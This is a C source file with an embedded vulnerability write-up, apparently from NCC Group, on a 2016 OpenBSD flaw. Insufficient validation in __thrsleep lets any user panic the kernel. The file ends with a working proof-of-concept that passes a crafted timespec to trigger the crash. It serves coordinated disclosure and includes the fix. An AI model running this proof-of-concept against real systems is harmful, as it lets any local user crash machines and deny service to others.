/*
* thrsleep_panic.c
* Demonstrate a panic through the __thrsleep system call.
*
* gcc -g thrsleep_panic.c -o thrsleep_panic
*/
#ifdef BUG_WRITEUP //---------------------------------------------------
__thrsleep validation is insufficient and can lead to a panic.
Impact:
Any user can panic the OpenBSD kernel with the __thrsleep system call.
Description:
The __thrsleep system call allows a user to sleep for some amount
of time. The system call validates the user-provided parameters
in thrsleep() (kern/kern_synch.c) before calling to lower layers
to implement the sleep:
if (timespeccmp(tsp, &now, <)) {
/* already passed: still do the unlock */
if ((error = thrsleep_unlock(lock, lockflags)))
return (error);
return (EWOULDBLOCK);
}
timespecsub(tsp, &now, tsp);
to_ticks = (long long)hz * tsp->tv_sec +
(tsp->tv_nsec + tick * 1000 - 1) / (tick * 1000) + 1;
if (to_ticks > INT_MAX)
to_ticks = INT_MAX;
This validation is insufficient. Some values of the user-provided
tsp can be in the future and still lead to a negative to_ticks value
after conversion. This condition triggers a panic in timeout_add
(kern/kern_timeout.c) when the to_ticks value is checked to be positive:
if (to_ticks < 0)
panic("timeout_add: to_ticks (%d) < 0", to_ticks);
Reproduction:
Run the attached thrsleep_panic.c program. NCC verified that
it causes a panic on OpenBSD 5.9 GENERIC kernel on an x86_64 processor.
Recommendation:
Check to see if to_ticks is negative in thrsleep (kern/kern_synch.c) and,
if so, saturate its value at INT_MAX, since this indicates an overly
large value.
Reported: 2016-06-29
Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_synch.c?rev=1.132&content-type=text/x-cvsweb-markup
http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/018_timeout.patch.sig
http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/021_timeout.patch.sig
#endif // BUG_WRITEUP ---------------------------------------------------
#include <stdio.h>
#include <sys/time.h>
int __thrsleep(const volatile void *id, clockid_t clock_id, const struct timespec *abstime, void *lock, const int *abort);
int
main(int argc, char **argv)
{
struct timespec tsp = { 0x7000000000000000LL, 0 };
int waitchan;
__thrsleep(&waitchan, CLOCK_REALTIME, &tsp, NULL, NULL);
printf("nothing happened!\n");
return 0;
}
